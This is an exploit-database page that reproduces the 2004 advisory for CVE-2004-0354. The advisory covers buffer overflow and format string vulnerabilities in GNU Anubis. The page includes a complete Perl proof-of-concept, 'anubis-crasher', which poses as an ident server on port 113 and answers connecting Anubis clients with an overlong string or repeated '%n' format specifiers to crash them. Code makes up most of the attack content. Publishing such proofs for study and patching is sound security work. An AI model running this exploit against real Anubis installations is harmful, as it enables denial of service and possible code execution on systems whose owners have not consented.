GNU Anubis 3.6.x/3.9.x - Multiple Format String Vulnerabilities
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2004-0354 | 18 Mar 200405:00 | – | cve | |
| CVE-2004-0354 | 18 Mar 200405:00 | – | cvelist | |
| EUVD-2004-0354 | 7 Oct 202500:30 | – | euvd | |
| FreeBSD : GNU Anubis buffer overflows and format string vulnerabilities (6) | 6 Jul 200400:00 | – | nessus | |
| FreeBSD : GNU Anubis buffer overflows and format string vulnerabilities (8471bb85-6fb0-11d8-873f-0020ed76ef5a) | 23 Apr 200900:00 | – | nessus | |
| CVE-2004-0354 | 23 Nov 200405:00 | – | nvd | |
| FreeBSD Ports: anubis | 4 Sep 200800:00 | – | openvas | |
| FreeBSD Ports: anubis | 4 Sep 200800:00 | – | openvas |
source: https://www.securityfocus.com/bid/9772/info
GNU Anubis has been reported prone to multiple buffer overflow and format string vulnerabilities. It has been conjectured that a remote attacker may potentially exploit these vulnerabilities to have arbitrary code executed in the context of the Anubis software. The buffer overflow vulnerabilities exist in the 'auth_ident' function in 'auth.c'. The format string vulnerabilities are reported to affect the 'info' function in 'log.c', the 'anubis_error' function in 'errs.c' and the 'ssl_error' function in 'ssl.c'.
These vulnerabilities have been reported to exist in GNU Anubis versions 3.6.0, 3.6.1, 3.6.2, 3.9.92, and 3.9.93. It is possible that other versions are affected as well.
These issues are undergiong further analysis, they will be divided into separate BIDs as analysis is completed.
#!/usr/bin/perl --
# anubis-crasher
# Ulf Harnhammar 2004
# I hereby place this program in the Public Domain.
use IO::Socket;
sub usage()
{
die "usage: $0 type\n".
"type is 'a' (buffer overflow) or 'b' (format string bug).\n";
} # sub usage
$port = 113;
usage() unless @ARGV == 1;
$type = shift;
usage() unless $type =~ m|^[ab]$|;
$send{'a'} = 'U' x 400;
$send{'b'} = '%n' x 28;
$sendstr = $send{$type};
$server = IO::Socket::INET->new(Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN,
Reuse => 1) or
die "can't create server: $!";
while ($client = $server->accept())
{
$client->autoflush(1);
print "got a connection\n";
$input = <$client>;
$input =~ tr/\015\012//d;
print "client said $input\n";
# $wait = <STDIN>;
# $wait = 'be quiet, perl -wc';
$output = "a: USERID: a:$sendstr";
print $client "$output\n";
print "I said $output\n";
close $client;
print "disconnected\n";
} # while client=server->acceptData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Dec 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.15643